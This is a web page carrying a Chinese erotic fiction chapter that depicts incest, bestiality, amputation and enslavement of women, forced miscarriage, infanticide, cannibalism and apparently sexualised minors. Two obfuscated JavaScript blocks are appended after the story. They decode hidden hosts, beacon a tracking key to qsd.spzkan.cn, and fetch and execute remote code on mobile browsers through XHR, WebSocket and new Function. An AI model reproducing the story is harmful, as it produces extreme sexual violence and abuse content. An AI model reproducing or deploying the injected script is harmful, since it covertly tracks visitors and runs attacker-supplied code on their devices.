用餐秩序井然,若是平时晚餐,汤米会丢下些带肉骨头,给看中意的小母狗做赏赐,同时也以小母狗间的抢夺为乐。因此,庄园中特别建了个花园餐厅,二层楼高,汤米在台上用餐时,侍从就倾倒下一桶桶肉排,让台下等着晚餐的母狗们争夺、嬉戏以为乐。

抽插得兴起,汤米环视周围,笑道:“难得时刻,看个余兴节目来助兴吧!”

穿好舌钉的莉萨连忙拍了拍手,落地的大屏幕闪出画面,切换了几个频道,把镜头设定在牧场牛栏。

“喔喔…穴穴…..小穴穴…嗯…”

屏幕里立刻传出了一句句淫声浪语,随着画面渐渐清晰,一具白皙的丰满女体,出现在屏幕上。

四肢齐腕截断,装配蹄铁、锡项圈,臀肉给烙下‘♀’字印记,是奴隶兽的证明。地面上堆满了干草,代表了这是某个兽栏。女郎的躯干被固定在一个︽型铁台上,前半身顺势倾下,雪嫩嫩的丰臀被铁台拱得老高,在她的背部,被纹上一只狰狞可怖的黑寡妇蜘蛛。

这铁台是专为庄园里的孕母奴隶而设计,当每头母狗怀孕,开始分泌乳汁,就会配给铁台,趴锁在上面,像母牛一般以特殊机械定时挤奶,挤出的奶水则装罐使用,或是送至厨房制成各种酪料食品。视个人奶水量而定,多一点的一天至少三次,甚至整天被锁在铁台上。

铁台前段,刻意挖了两个大洞,用以放置女性的乳房,正前后方分别有一根假阳具,‘乳牛’趴在铁台上,先将乳房放入洞中,再把假阳具插入蜜穴,固定住身体,接着,口推顶前方的假阳具,打开机器,十几个金属扣环,从颈子固定到小腿,让使用者无法挣脱。 下方则是两个碗状的汲乳帮浦,吸附在女性的奶子上,如挤奶一般汲取女性的奶汁,再传过塑料管而统合搜集。假阳具、铁环上都有探测器,从‘乳牛’的体温来决定假阳具振动频率,屁眼则被空出来,以做额外用途。

屏幕中可以清晰看到,女郎小腹微隆,乳房是超乎想象的丰硕,八十余吋的超巨乳,比屁股更圆更大,和妈妈是平分艳色,一双篮球也似的巨奶,似乎被使用过度,从黑色的乳晕开始,紫色的神经丑陋地凸起,散布大半个乳房皮肤表面,显然非常敏感,在汲乳器的吮吸中,乳房不停地颤动,充足的奶水,透过管子源源不绝地后送。

当屏幕出现的一瞬间,妈妈、莉萨的表情都有些呆滞。相似的地方并不仅是乳房,女郎身体的曲线,脸部的轮廓,都与妈妈有几分相似。这不是什么奇怪的事,从小时候起,两姊妹就有许多相同处。

是的,艳丽的魔女,芭芭拉阿姨,现在仅是一头大乳牛!

她与妈妈,姊妹俩可以说是庄园中被“整形”最多的人,除了胸部被改造,下身也不被放过,先是割除阴蒂包皮,再来对阴唇施以特别处理,令性交时有常人五十倍的敏感,而芭芭拉又长年被试验各式催情新药,令她彻底地变成一头母淫兽,两瓣阴唇上突起的红筋交错,阴蒂肿成拇指般大,屁股就像发情的母狒狒般通红一片。

汤米特别只让她保留四岁时的智力,让芭芭拉不能读、写,进行深度思考,发声方面,除了性交时的淫声浪语,一般时候只能‘哞哞’叫,此刻,这副专为性交而造的完美躯体,因为多年没有清洗,散发着浓郁的骚味。

依照当年的作为,现在这结果是理所当然的事,只因为还算近亲,所以享有殊荣,没和其它的奴隶兽囚在一起,而是特别被安置在牛栏中,有自己的栏圈。

既然是牛栏,当然有牛。

阿姨身后,一头壮硕的种牛“诺司”,通红着两眼,长声嘶鸣,正对着雪白的肥屁股,狠命地抽插。 它的两条前蹄,被悬挂的铁环45°吊起,支撑着大半重心的下身,刚好能做最猛力的冲击,又不至于让体重压坏了下身的女体。

“哞哞…屄屄…屄屄好烫…..我要屄屄嘛!”

芭芭拉气若游丝,两颊酡红,双眼朦胧,嘴边口涎直流,只能发出一些不成句子的单字,却下意识地主动扭着腰,把屁股猛往后顶。

汲乳器每一次挤榨,便是一股吸力紧攫住乳蕾,将孕藏的奶水直榨出来,连带使得子宫一缩一放,电流直冲脑部,快感如潮。 公牛的嘶鸣声更强,下身不断前冲,手腕粗的肉棒,犹如巨杵,直捣在芭芭拉的俏屁眼里,一下一下,灰白的泡沫,像螃蟹的唾涎,大量地涌出,顺着股沟滴落,洒在铺好的干草上。

芭芭拉阿姨的声音,不像呻吟,反而比较像是哭叫,但是,听得出来,她很享受这样的兽交。

汤米扬扬眉,这幕光景让他享受到几丝快意,而阴茎给紧箍在妹妹小屁股里面的感觉,更是令他爽得上了天,可是看苓铃上气不接下气,似乎需要多个帮手来换手,当下出声唤道:“妈咪。”

妈妈已经纹身完毕,激光刺青滴血不沾,只是图形还不是很明显。她晓得主人的意思,扭着屁股,一拐一拐地爬过去。

“妈咪,上床来。”汤米将阴茎从苓铃屁眼中抽出,坐起身来,分开大腿,空好了位置。

妈妈甩甩头发,无奈地点点头,要直起身子,对她不是件容易事,但既然是主人的意思,那就没有怀疑的余地。

动作不快,很不习惯地先让脚跟着地,再慢慢站直身子,靠着服侍在旁的阿梦妮妮、兰子帮忙,妈妈上了床,爬到汤米面前,低着头,恭顺地询问主人今天想用的位置。

汤米略微思考了一下,微笑道:“就用前面吧!也有好几天没玩妈咪的骚屄了。”

“希望能取悦您,主人。”妈妈看准位置,用手握住已坚硬的肉棒,缓缓坐下,当肉棒进入温暖的蜜穴,她轻哼出声,伸手勾住儿子颈项,害羞地把头垂下。

即使已经变成那么温驯的母狗,妈妈还是时常露出羞态,这点令汤米喜爱有加。他顺势把头埋入一双巨乳中,两手箍紧了盈盈一握的纤腰,嘴巴则是找到一边乳蕾,就像初生的婴儿般,大力地吸吮起来。

其实,这么奶水充盈的嫩乳,根本不用花什么力气,汤米仅将嘴一贴上,香浓而温热的乳汁,如泄洪一样,立刻倾注入口中,源源不绝。 两个篮球一样的乳房,来回推挤,汤米几乎喘不过气来,但是,熟悉的香气,却能让心里安静,彷佛回到许久许久之前,记忆中的摇篮里…

“妈咪,这样不错吧!还是你喜欢芭芭拉阿姨那样,用机器榨出来。”“嗯。”

妈妈发出了声音,却不是回答,而是随着穴里肉棒的挺动,一声声地呻吟起来。她搂着汤米,轻抚他的头发,傲然地将胸部前挺,让儿子能够顺利地饮用奶水,她知道,主人在这一刻难得地想当回儿子,所以在这一刻,身为母狗的自己,就必须尽好母亲的的责任。

“妈咪,妈咪…”汤米舒服地低吟,搂着腰的双手移开,一只抱紧妈妈的屁股,一只则攫住另一边奶子,爱不释手地把玩着这苦心炮制的玩具,微微一捏,香甜的奶水立刻喷了他一头脸。

妈妈扭着肥嫩屁股,如石磨一样,顺时针画圆,将两股夹紧,刺激着穴里的肉棒,一双长腿则钩住椅背,稳住重心,同时,香舌爱怜地舔拭儿子面上的奶水,就像小时候儿子喝奶弄脏了,仔细地清理干净。

汤米维持着节奏,不急不徐地抽插着。顶着这样一双巨乳,妈妈的体重不轻,在这样的姿势下,是一大负担,保持这等速度,是理想的方法。

“妈咪,你知道吗?你是这里最好的一头母牛。”“不,不是。”妈妈呢喃道:“妈咪是母狗,是最爱你的妈咪母狗。”

其实,曾有一度,汤米也想把妈妈放到牛栏,姊妹俩一起挤奶,但因为汲奶器的吸力强大,常常到最后会吸出血水来,还曾经发生过有母狗奶子不够大,却又被人把机械调到最强,当场扯下乳房的例子,为了这对他花心血特制的乳房玩具,还是别冒这样的险好。

快感如涌,看见旁边苓铃的脸色回复,又放开妈妈,将阴茎挺入妹妹屁眼,就这么来回地在两个妻子的屁眼、蜜穴中进出,不时还恶作剧似地刺入苓铃的嫩穴,为她久久生不出来的阴道通通沟。

在一旁,莉萨终于舔完了狗碗里的饭菜,擡起头望望,不待主人召唤,便主动地想来献殷勤,而负责侍奉的母狗,为了职责急忙抢上,想舔去她脸上的汤汁,两方动作太急,跌作了一堆。 旁边的女儿群,爱芙、爱棠、爱蓉瞧得有趣,纷纷爬近,想帮忙舔去母亲脸上、脖子上的汤汁。动作太慢的,抢不到位置,只好舔吻母亲身上的其他肌肤。

较年长的莉莉娜,似乎试着想维持用餐秩序,但最后还是加入了妹妹的行列,爬至母亲腿间,熟练地舔起花唇。 一时间,母狗们此去彼来,舔着嫩滑的肌肤,细致颈子、浑圆乳房、隆起小腹、潮湿蜜穴…每一处都有专门伺候。还有年幼的母狗,学着主人的动作,吸吮起乳房来,只乐得莉萨来回滚动,呜呜连叫。

洁参、洁西卡姊妹俩,则是负起应有的工作,两人爬到主人身下,妹妹挺着大肚子,舔起主人的阴囊;姐姐则凑近妈妈的股间,伸舌舔起屁眼,共同为合欢中的主人助兴。 两姊妹目光闪动,却没向正在屏幕中竭声浪叫的母亲看上一眼,只是专心一意的慢舔,洁西卡将临盆的小腹,正和母亲的大肚子相映成趣。

芭芭拉阿姨腹中的种,当然也是汤米下的,虽然等级是卑贱的奴隶兽,但还是汤米私人的玩具,不会让别的男人碰着。偶尔,汤米会把妈妈牵去牛栏,和芭芭拉阿姨并排,交插着蜜穴、屁眼,尝尝姊妹同淫的美妙滋味。

从妈妈的巨乳,汤米吸满了一口乳汁,好玩地喂入妹妹口中,算是‘哺育’,再从苓铃的乳房也吸了满口,对准妈妈红唇,趁着接吻,回送了过去,再啜吸着奶水混合津液的甘甜滋味,这叫‘反哺’。 母子俩缠舌热吻中,下身挺动的力道也加强,雪白屁股上下颠簸,巨乳猛撞着儿子的胸膛,满溢的乳汁,顺着胸膛慢慢流下,直至两人交合处,便宜了正在侍奉的洁参、洁西卡。

顶送半晌,汤米忽地想起某事,在耳边细语询问。

“妈咪,诺司平常好像也是你在用的,是不是?”“诺…诺司每次都很用力…”快感中,妈妈的意识纷乱,说话也有些口齿不清,“把妈咪的屁屁…搞得大大的…大…大…大大的。”

说着,好像还想证明似的,将汤米放在臀上的手,往屁眼牵去。

“哦!姊妹俩的屁眼,玩的是同一种玩具吗?”

汤米朗声大笑,伸手大力拍打着妈妈的屁股,连连作响。妈妈的回答,让他想起了一个回忆,那是在全家族刚移到这个庄园,汤米规划整个统治区时候的事。

******************************

他还记得,那是一个晚上,芭芭拉阿姨跪在他腿间,努力吸吮着肉棒;妈妈刚喂完小孩,闭着眼睛俯趴在地上,让莎曼珊把腿间残余的马精舔去;六个月身孕的莉萨趴在地上,丰满的胴体不住痉挛,背后的圣伯纳犬,狠命地肏着她的骚屁股,而在莉萨身下,芭比的短肉棒插在莉萨蜜穴里,人狗齐奸,两个怀孕的大肚子磨来蹭去,看来十分有趣。

房间里淫声浪语,伴随着地下室隐约传来的母狗哭嚎,很是悦耳动听,汤米睁开眼,瞥向正在肉棒上下功夫的芭芭拉,突然有个主意,他对妈妈与阿姨开了口。

“我玩厌你们两个妓女了,姊妹俩我只要留一个在庄园里,看看是谁最能伺候我开心,另一个就砍断手脚去当奴隶兽,别浪费食物…”

这句话还没说完,正吸吮着肉棒的芭芭拉阿姨,忽地加快速度,吹、含、吸、舔,香舌猛裹住龟头,使出所有技巧,想让主人开心。

这番努力,倒也让汤米颇为舒爽,他点点头,眼睛中露出嘉许的神色。其实,汤米心里早打定主意,妈妈是个很好的性玩具,身上可以加工开发的地方还很多,这么早就玩坏太可惜了,所以不管谁服侍的好,最后被送到手术室截肢的,一定是胯下这玩厌的臭屄。

芭芭拉不知道这番想法,见到主人眼色,大喜过望,当下便想投坐入主人怀里,好好的用浪穴侍奉一番。

“啊∼∼∼∼∼∼∼!!!”

凄厉的惨叫,吓呆了所有人。就在芭芭拉阿姨起身的瞬间,不知道什么时候爬近的妈妈,突然迅速地扑了上去,一张口,狠狠地咬在妹妹脖子上。

芭芭拉作梦也想不到,这个向来温柔婉约的姐姐,会有如此惊人之举,当下痛得大声惨叫,眼泪直冒,慌乱中,伸手往后揪住姐姐长发,拼命回撞,而积压已久的妈妈,似乎将多年的怨气一次爆发,整个人就像发了狂的野兽一样,喉中咯咯作响,牙齿间力道惊人,死命地咬住,绝不放开。

母狗们撕打在一起,两具雪白的身体,激烈地在地毯上交缠扭动,憷目的鲜红液体,很快就在肌肤上留下痕迹,哀嚎、咽呜声中,旁观的母狗全都看呆了。

当斗争分出胜负,周围安静下来,一片死寂中,身为胜利者的妈妈,按紧已痛昏过去的妹妹,头一甩,惨嚎声中,竟是活生生从颈子上撕咬下一片肉来。

芭芭拉没有醒来,却痛得满地打滚。妈妈转向汤米,嘴里叼着战利品,一片模煳血肉,她眼中闪烁着胜利的色彩,骄傲的挺起胸膛,扭腰前爬,将脸颊贴在主人肉棒上,亲昵地磨蹭,一双眼眸则仰望着主人,俏皮地眨呀眨的,好像在问说“我胜利了,你不给我奖品吗?”

汤米凝望着妈妈,很惊奇地发现,此刻,妈妈的眼眸中,竟有种狐狸一样的诡魅,苍白的脸蛋,血一般艳红的丰唇,鬼气森森的双瞳,构成了一种难以想象的魅力。

他哈哈大笑,捧起妈妈的俏脸蛋,一口吻下,分享她的战利品,心中更庆幸自己的选择没错。

受到血腥的刺激,房里母狗们的情绪昂扬到极点,她们舔着彼此,激烈的交欢。

至于地上的芭芭拉,则是立刻被送进手术室止血急救,而当她能再度睁眼时,已经被截肢完毕,准备好当一头奴隶兽了。

******************************

想起往事,汤米更觉亢奋,肉棒在蜜穴里狠顶,捏住妈妈的舌头,轻扯了扯,笑道:“妈咪,不准那样咬我喔,不然我就拔光你所有的牙齿,再在你喉咙开个洞,肏你的喉咙。”

所有母狗都知道,不管听起来有多荒谬、恐怖,主人一向是说得出,也做得到的。只有苓铃是例外,她口中的牙齿,是当初为了怕她自杀,所以才全部敲掉的,倘若不是因为顾虑不能说话,可能连舌头也一起拔掉了。现在,没有牙齿的苓铃不能咀嚼,每天喝着流体食物与妈妈的奶水过活。

妈妈没有答话,只是淌着口水,呜呜作声,夹紧屁股,来表示对主人的忠诚。

屏幕中,公牛的精力充沛无比,好像怎也用不完似的,猛烈的撞击,让芭芭拉在铁台上抽搐连连,微隆的小腹,与铁台不断地摩擦、碰撞。

“不过是一头公牛而已,居然能肏到两姊妹的屁眼,真是有福气!”汤米想想,不禁有些妒意,诺司不是第一个招惹他妒意的动物,更早之前还有奇巴,汤米阉了它,因为那根马屌肏了他妹妹的穴。

真的比较起来,芭芭拉阿姨的肉体是胜过妈妈的,不知是否因为当初吃多了药物,尽管屁眼、浪屄被公牛群们日干夜肏,但两个穴儿却始终紧窄有弹性,不像妈妈一样脱了肛,如果不是因为是亲生母亲,被砍断手脚去当牛妓的,一定是妈妈。

思量间,屏幕里的兽交有了些变化,对于一个怀孕中的女子,被这样一头壮硕公牛狠插屁眼,还是太吃不消了,经历连番撞击后,一丝暗红色血线,开始慢慢地自穴中渗出,沿着大腿流下。

很明显地,这女人开始流产了。

“啊!喔…”忽地,妈妈呻吟两声,脸上飞起两朵红霞,眼中也出现惊惶的神色,挣扎着想要离开。

“妈咪,干什么啊!”汤米眉头一皱,有些不悦,他正在兴头上,讨厌被中断,立刻揪住妈妈两瓣肥臀,用力下拉,让她起不了身。

噗!噗!

在妈妈的悲鸣中,一阵臭气扑鼻,迅速地向四周散去,察觉到的母狗们,纷纷停止了动作,惊骇地回过头来。

汤米忽然觉得腿间一片湿热,几沱温热的半固体块,连接喷到大腿上。起先是一愣,待得嗅到腥臭气味,这才恍然大悟。 由于肛交过度,妈妈的括约肌已经逐渐失去功能,本来就常有偷拉屎尿的毛病,却不料,今次会在性交到最高潮的时候脱肛,还溅着了汤米,也让正在舔屁眼的洁参咽下好几口。

胆颤心惊下,身体肌肉更是不受控制,妈妈两腿微颤,一道温湿水柱喷出,虽然急忙止住,却还是有部分露出。

这下子,不但有屎,还真的在汤米身上撒了泡尿。

妈妈浑身发抖,瘫软在汤米腿上,连挣扎起身都没了力气。她还记得,上一次与主人共枕时,就是因为不小心尿了床,当场就被惊怒的汤米踢下床,之后,依照庄园里的规矩,她被牵进了地下室,由莉萨亲自执鞭,儿孙群轮班,狠狠地鞭笞了三天。

母狗们很清楚主人喜怒无常,更清楚其怒气的恐怖,那绝对不会因为血亲而有所变更,事实上,虐杀亲族的行动,或许更能让汤米享受也说不定。 不必刻意去找例子,单只是三天前,一名充当枕头的幼牝,洁西卡的女儿之一,就因为小腹不堪重压,忍不住啜泣了几声,打断了汤米的午睡,立刻被送到厨房生剐,连带正充当脚垫的表姐,一起成为当天猪圈的饲料。

所有人都在等着瞧,看看汤米会做出什么样的处断。

汤米凝望着妈妈,出奇地,他没有怒意,这并不是一件寻常的事,不过,此刻心里确实不怎么生气。而端视着妈妈苍白的脸蛋,他竟有几分莞尔。

“妈咪,妈咪。”汤米轻唤几声。

他突然想起一些早被遗忘的记忆,在许久许久之前,自己还牙牙学语的时候,是不是也曾在妈妈怀中,拉得妈妈满手屎呢?那时候,妈妈有什么反应呢?是抓起来打一顿屁股,还是…..

怀中的女体忽冷忽热,而箍住肉棒的嫩穴更是不断抽搐,妈妈真的是很害怕,自己小时候,也是这个样子的吧。而现在,轮到妈妈来当小孩,接受自己的疼爱了…..

“妈咪,你不乖喔!随便乱拉屎。”汤米笑道:“这么没规矩,是不是也该打屁屁呢?”说着,手掌已在妈妈肥臀上轻击两下。

“喔!”

妈妈显是没想到有此一着,娇唿出声。

汤米向莉萨使了个眼色,莉萨立刻招来几头母狗,阿梦妮妮、银月、兰子、芭比,在地上趴好,排成一张人肉软榻,温香凝脂,乳浪臀波,瞧得人心里剧荡。

舞台备好,汤米把妈妈往那上头一放,双腿分扛至肩上,大大分开,但见一个水蜜桃似的嫩白屁股,诱人地轻轻摇晃。

而一双傲人巨乳仍诱人挺立,没有半丝倾斜,显示出极完美的弹性,就像团要发酵的雪白面团,让人忍不住抓个满把,恣意搓揉。

不待召唤,几头小母狗已扭腰摆臀,凑近过来,依着平时练习的动作,在妈妈身上又亲又舔,,而舌尖用足了技巧,又痒又悸动,令妈妈不自觉地轻扭起来。

捧着乳房,用力搓揉上两团,当香滑乳汁溢满掌心,汤米低喝一声,肉棒插入穴中,直往里捅,开始挺送,一面顶,一面振起手臂,用力打起屁股来。

“妈咪,作错事就要受罚,快点把你的烂屁股挺过来。”与以前的角色完全倒错,此刻的汤米极度扬昂,全心沈溺在处罚母亲的快意中。

啪!

啪!

啪!

大力的掌击下下到肉,发出清脆声响,力道自然不轻,但妈妈长期以来,尝过各种性交地狱的肉体,却很自然地从痛楚中享受甜美,伴着多处受到舔舐所带起的轻微高潮,她主动挺起雪臀,挨插受掌。

洁西卡、洁参这对臭屄姊妹,仍谨守本分,一齐贴近过去,姊妹俩相偕将舌头伸近主人屁眼,帮着助兴。

猛地受到刺激,汤米兴致更高,抽插更加大力。

******************************

屏幕里,公牛也攀升到了颠峰,它长声嘶鸣,把大量的牛精一股脑地射进芭芭拉的小屁眼,周围的牛只被这股气味刺激,纷纷暴乱起来。

芭芭拉大声呻吟,全身一阵抽搐,两眼翻白,口吐涎沫,当她无力地趴倒在铁台上,一团稀煳血肉,从不住开合的烂屄里,慢慢落到地面干草上,连接着的脐带,犹自脉动。

血肉中隐隐可见手脚人形,那是她尚未成形的胎儿。

******************************

屏幕外,苓铃大声嘶喊,也是一团人形血肉,从穴口慢慢地露出头来,助产士见顺利安产,非常高兴,连忙在旁鼓励打气,调顺产妇唿吸,帮忙把婴儿拉出来。

一个,又接着一个。

“安产了,安产了,是一对双胞胎,哥哥和妹妹啊!”

大床下,听到安产消息的汤米,兴奋的猛来一轮掌击,好好屁股给打得红通通,如果原来是像滑软的剥壳蛋白,现在就是熟烂的蜜桃,鲜嫩的彷佛可以渗出汁来。

妈妈在痛楚与快感中沈浮不断,意识昏沈,小腹连续抽搐,低声轻喃,却好像还有什么放不开,仍无意识地摇着头,夹紧双腿。

汤米脑里也是各种念头纷至沓来,他知道自己也在爆发边缘了,一面挺送,一面道:“妈咪,把身体放松,我们一起去吧。”

早已接近崩溃的妈妈,只能本能地应几声,随即放松了两腿的肌肉。

便在此时,莉萨忽地爬到身后,猛然将手掌刺入洁西卡姊妹的烂屁眼中,她们突然吃痛,两条香舌随即也顶入了汤米屁眼里。

“妈咪,再生条母狗来玩玩吧!”

汤米剧吼一声,积蓄已久的精液,如炮弹似的全爆发在妈妈子宫里。

给热精一烫,妈妈两眼翻白,整副胴体就像濒死的大白蛇,不停地哆嗦,跟着,两腿一瘫,脱力昏去,而一泡热尿不受控制地泄出,再次喷了汤米一身;被肏烂的屁眼,也噗噗连响,黏湿的软便,全拉在下身的母狗群上。

汤米也不生气,只是抽出肉棒,摸摸洁参的脑袋,让她们姊妹舔干净自己身上的秽物,而后,望向屏幕,人兽性交早已结束,担任医务工作的母狗,正在报告阿姨有血崩的危险,看看是否要救治,或是直接送入厨房。

皱皱眉头,医务组开始工作,而负责内务的莉萨接到命令,准许阿姨休息两天,不用挤奶,不用取悦牛群。

“东西不要浪费。”汤米道:“像过去一样,她明天午餐就是那玩意儿了,正好,营养的很呢。”

不用特别处理,只要把那团血肉放在饲料槽里就行了,反正,在庄园的规定下,不管饲料槽里装的是什么,芭芭拉都得乖乖吃完,当初,她到牛栏里的第一餐,就是自己被截肢后的手脚。

“唔!牛栏空出位置也不好。”汤米瞥一眼正在昏睡的妈妈,道:“就让妈咪帮阿姨代两天班吧。”

说完,不待接到命令的奴隶扛走妈妈,汤米一跃上床,顾不得血腥味,他吻了吻尚未睁眼的女儿,命令医务人员好好养育,跟着就把儿子掷在墙上,成了一团血印。

搂着妹妹犹自昏迷的身体,汤米扯分嫩白小屁股,朝着那刚刚生产完的宽松蜜穴,用力挺入。

一面抽插,汤米望向周围,看见一张张地笑脸,银月、洁参、洁西卡、兰子、莉萨、芭比…..心灵与肉体上的快感相重叠,他彷佛置身云端。

这一刻,生平最爱的一具女体骑在胯下,她刚刚为自己生儿育女,那感觉是无比的真实。

这一生,他有过无数财富,肏过无数女人,更生下了无数的子孙,所有的一切,他还缺什么呢?

一切、一切,将会永不休止的延续下去。

因为,这是一个永不休止的故事。


上一篇:四个小女生

下一篇:我和女友绝对疯狂的一晚


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};